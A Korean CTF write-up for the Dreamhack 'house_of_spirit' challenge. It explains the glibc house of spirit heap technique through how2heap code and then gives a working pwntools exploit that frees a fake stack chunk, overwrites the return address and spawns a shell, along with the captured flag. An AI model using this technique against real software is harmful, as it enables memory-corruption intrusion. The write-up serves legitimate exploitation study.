문제를 풀기 전에 house_of_spirit이 뭔지 알아보자
https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_spirit.c
seo@seo:~/Documents/dreamhack/house_of_spirit/demo$ gcc -o house_of_spirit house_of_spirit.c house_of_spirit.c: In function ‘main’: house_of_spirit.c:39:9: warning: ‘free’ called on unallocated object ‘fake_chunks’ [-Wfree-nonheap-object] 39 | free(victim); | ^~~~~~~~~~~~ house_of_spirit.c:24:14: note: declared here 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); | ^~~~~~~~~~~ seo@seo:~/Documents/dreamhack/house_of_spirit/demo$ ./house_of_spirit This file demonstrates the house of spirit attack. This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write. Required primitives: known target address, ability to set up the start/end of the target memory Step 1: Allocate 7 chunks and free them to fill up tcache Step 2: Prepare the fake chunk The target fake chunk is at 0x7fffffffe1d0 It contains two chunks. The first starts at 0x7fffffffe1d8 and the second at 0x7fffffffe218. This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems. ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. Now set the size of the chunk (0x7fffffffe1d8) to 0x40 so malloc will think it is a valid chunk. The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size. Set the size of the chunk (0x7fffffffe218) to 0x1234 so freeing the first chunk can succeed. Step 3: Free the first fake chunk Note that the address of the fake chunk must be 16-byte aligned. Step 4: Take out the fake chunk Now the next calloc will return our fake chunk at 0x7fffffffe1e0! malloc can do the trick as well, you just need to do it for 8 times.malloc(0x30): 0x7fffffffe1e0, fake chunk: 0x7fffffffe1e0
위 내용은 how2heap 프로젝트에 있는 house_of_spirit.c 소스코드를 실행한 결과이다.
house of spirit 공격을 구현한 코드인데, 이 공격은 힙이 아닌 포인터를 fastbin에 추가시켜 임의의 메모리 쓰기를 가능하게 만든다.
필요조건으로는 대상 주소를 알고 있어야하고, 대상 메모리의 시작/끝 지점을 설정할 수 있어야 된다.
작동원리에 대해 살펴보면,
1. 7개의 청크들을 할당시키고 tcache를 채울 수 있도록 할당 해제하기
void *chunks[7]; for(int i=0; i<7; i++) { chunks[i] = malloc(0x30); } for(int i=0; i<7; i++) { free(chunks[i]); }
0x30만큼 메모리를 7번 할당하여 chunks[i] 변수에 저장하고, 전부다 할당을 다시 해제시킨다.
여기서 0x30은 fastbin으로 메모리 할당을 하기 위해서이다.
fastbin은 메모리 할당과 해제가 가장 빠른 bin으로, 후입선출 방식을 사용하고, Freed chunk구조에서 fd의 값을 이용해서 단일 연결리스트로 chunk를 관리한다. fastbin이 관리하는 chunk의 크기는 32bit 운영체제에서는 16~88byte(10개의 bin)이고, 64bit 운영체제에서는 32~128byte(7개의 bin만 사용)이다.
2. fake chunk 준비하기
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) long fake_chunks[10] __attribute__ ((aligned (0x10))); printf("The target fake chunk is at %p\n", fake_chunks); printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); fake_chunks[1] = 0x40; // this is the size printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); fake_chunks[9] = 0x1234; // nextsize
필자의 경우 fake_chunks는 0x7fffffffe1d0이고
2개의 청크들을 포함하는데, 첫번째는 0x7fffffffe1d8, 두번째는 0x7fffffffe218였다.
이 영역의 chunk.size는 (x64에서는 128 이하 조건인) fastbin 범주에 속하면서 (청크 데이터를 수용하기 위해) 영역보다 16바이트보다 더 커야된다.
이러한 이유는 free시에 청크 뒤에 있는 청크의 사이즈를 검사하기 때문이다.
https://github.com/bminor/glibc/blob/glibc-2.35/malloc/malloc.c#L1300
https://github.com/bminor/glibc/blob/glibc-2.35/malloc/malloc.c#L4505C9-L4505C21
#define CHUNK_HDR_SZ (2 * SIZE_SZ) static void _int_free (mstate av, mchunkptr p, int have_lock) { ... if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { bool fail = true; ...
https://github.com/bminor/glibc/blob/glibc-2.35/sysdeps/generic/malloc-size.h#L57C1-L57C43
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))
64비트 환경에서는 SIZE_SZ가 8바이트이기에
CHUNK_HDR_SZ는 16이 된다.
그리고 PREV_INUSE (lsb) 비트는 fastbin 크기의 청크를 free하기에 무시해도 되지만, IS_MMAPPED (2번째 lsb) 및 NON_MAIN_ARENA (3번째 lsb) 비트는 문제를 일으킨다고 한다.
malloc 구현에서 사용하는 내부 internal size로 반올림되므로, 이를 테면, 64비트 환경에서 0x30-0x38 크기의 malloc 결과의 청크 크기는 모두 0x40으로 반올림되므로 fake_chunks[1]에다가 0x40으로 청크 크기를 만들어주면 malloc 함수에서 유효한 청크라고 인식할 것이다.
fake_chunks[1] = 0x40; // this is the size
*다음* 가짜 영역의 chunk.size는 올바르게 설정해주어야 한다. 바로 다음크기 무결성 검사인 > 2*SIZE_SZ (> 16 on x64) && < av->system_mem
조건을 통과해야 한다. (main arena는 기본으로 128kb 미만), fastbin 크기일 필요는 없다.
여기서 배열 인덱스 9번에 nextsize를 적어두었는데,
이러한 이유는 1번째 차지한 청크가 0x40의 크기였고, unsigned long long 크기가 8byte 이므로 총 배열 8개를 차지하여 그 다음 위치가 9이기 때문이다.
fake_chunks[9] = 0x1234; // nextsize
3. 1번째 가짜 청크 할당 해제시키기
가짜 청크의 주소는 반드시 16-byte에 정렬되어있어야 된다.
인덱스가 2인 이유는 처음 0, 1 인덱스는 헤더를 의미하기 때문이다.
free 함수로 메모리 할당을 해제하려면, user data 영역의 주소를 매개변수로 넘겨야 한다.
void *victim = &fake_chunks[2];
free(victim);
4. 가짜 청크 가져오기
0x30크기의 메모리를 calloc 함수로 할당하면, 할당된 주소는 가짜 청크 주소가 된다.
malloc 함수 또한 이러한 트릭이 가능하며, 8번 호출해야될 필요가 있다.
지금 fastbin의 0x40 리스트에 우리가 만든 가짜 청크 주소가 들어가 있기 때문에,
이제 다시 0x30 크기만큼 할당하면, fastbin 리스트에서 0x40의 주소를 찾아가 return 하게 되는 것이다.
void *allocated = calloc(1, 0x30);
printf(“malloc(0x30): %p, fake chunk: %p\n”, allocated, victim);
이렇게 가짜 청크를 구성해서 free chunk로 사용하고 이를 alloc chunk로 사용하도록 해서
임의의 메모리를 조작하는 기법을 house of spirit
이라고 한다.
Description
이 문제는 작동하고 있는 서비스(house_of_spirit)의 바이너리와 소스코드가 주어집니다.
House of Spirit 공격 기법을 이용한 익스플로잇을 작성하여 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
checksec
seo@ubuntu:~/dreamhack/house_of_spirit$ checksec ./house_of_spirit [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/dreamhack/house_of_spirit/house_of_spirit' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Source Code
// gcc -o hos hos.c -fno-stack-protector -no-pie #include <stdio.h> #include <stdlib.h> #include <signal.h> #include <unistd.h> #include <string.h> char *ptr[10]; void alarm_handler() { exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(60); } void get_shell() { execve("/bin/sh", NULL, NULL); } int main() { char name[32]; int idx, i, size = 0; long addr = 0; initialize(); memset(name, 0, sizeof(name)); printf("name: "); read(0, name, sizeof(name)-1); printf("%p: %s\n", name, name); while(1) { printf("1. create\n"); printf("2. delete\n"); printf("3. exit\n"); printf("> "); scanf("%d", &idx); switch(idx) { case 1: if(i > 10) { return -1; } printf("Size: "); scanf("%d", &size); ptr[i] = malloc(size); if(!ptr[i]) { return -1; } printf("Data: "); read(0, ptr[i], size); i++; break; case 2: printf("Addr: "); scanf("%ld", &addr); free(addr); break; case 3: return 0; default: break; } } return 0; }
Solution
1.
name을 입력받을때 가짜 청크 주소를 할당받기 위해 p64(0) + p64(0x50) 헤더값을 넣는다.
prev_size는 0으로, 이전 청크가 존재하지 않는다는 의미로 적어넣었고,
size는 0x50인데, 헤더 0x10과 데이터 0x40을 더한 값을 의미한다.
입력하고나면, name의 주소를 출력해주는데 0x7fffffffe220 주소를 가리키고 있었다.
2.
0x7fffffffe220에 0x10을 더한 주소를 free해준다.
여기서 0x10을 더하는 이유는 앞서 말했다시피
free 함수로 메모리 할당을 해제하려면, user data 영역의 주소를 매개변수로 넘겨야 한다.
그런 다음, 다시 0x40만큼 malloc으로 메모리를 할당받으면,
할당된 주소는 가짜 청크 주소를 할당받게 되어,
name 주소에 0x10을 더한 0x7fffffffe230이 된다!
int __cdecl main(int argc, const char **argv, const char **envp) { void *ptr; // [rsp+0h] [rbp-40h] BYREF int v5; // [rsp+8h] [rbp-38h] BYREF int v6; // [rsp+Ch] [rbp-34h] BYREF char s[44]; // [rsp+10h] [rbp-30h] BYREF int v8; // [rsp+3Ch] [rbp-4h] ...
스택 구조는 위와 같은데,
여기서 name은 char s[44];로, rbp-0x30이다.
그런데 할당받은 가짜 청크 주소가 name+0x10이므로, rbp-0x20 지점이 된다.
따라서 0x20(Overwrite Dummy bytes to buffer) + 0x8(Overwrite dummy bytes to RBP) 만큼 더미값으로 채운뒤에 get_shell 주소로 페이로드를 구성해주면 된다.
실제로 확인해보면,
main’s RET이 get_shell 주소로 잘 덮어쓰이게된 것을 확인했다.
solve.py
from pwn import * #context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') p = remote('host3.dreamhack.games', 21851) #p = process('./house_of_spirit') e = ELF('./house_of_spirit') get_shell = e.symbols["get_shell"] def create(size, data): p.sendlineafter("> ", "1") p.sendlineafter(": ", size) p.sendafter(": ", data) def delete(addr): p.sendlineafter("> ", "2") p.sendlineafter(": ", addr) # allocate fake chunk size # prev_size = 0, size = 0x50(header size: 0x10, data size: 0x40) fake_size = p64(0) + p64(0x50) p.sendafter(": ", fake_size) # get fake chunk address stack = int(p.recvuntil(b":").replace(b":",b"").decode(), 16) print(f"name stack: {hex(stack)}") delete(str(stack + 0x10)) payload = b"A" * 0x28 payload += p64(get_shell) create(str(0x40), payload) p.sendlineafter("> ", "3") p.interactive()
Result
seo@seo:~/Documents/dreamhack/house_of_spirit$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 21851: Done [*] '/home/seo/Documents/dreamhack/house_of_spirit/house_of_spirit' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) name stack: 0x7ffd9c7d8ff0 [*] Switching to interactive mode $ ls flag house_of_spirit $ cat flag DH{d351d8d936884dc4aaebb689e8a183b2}$ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 21851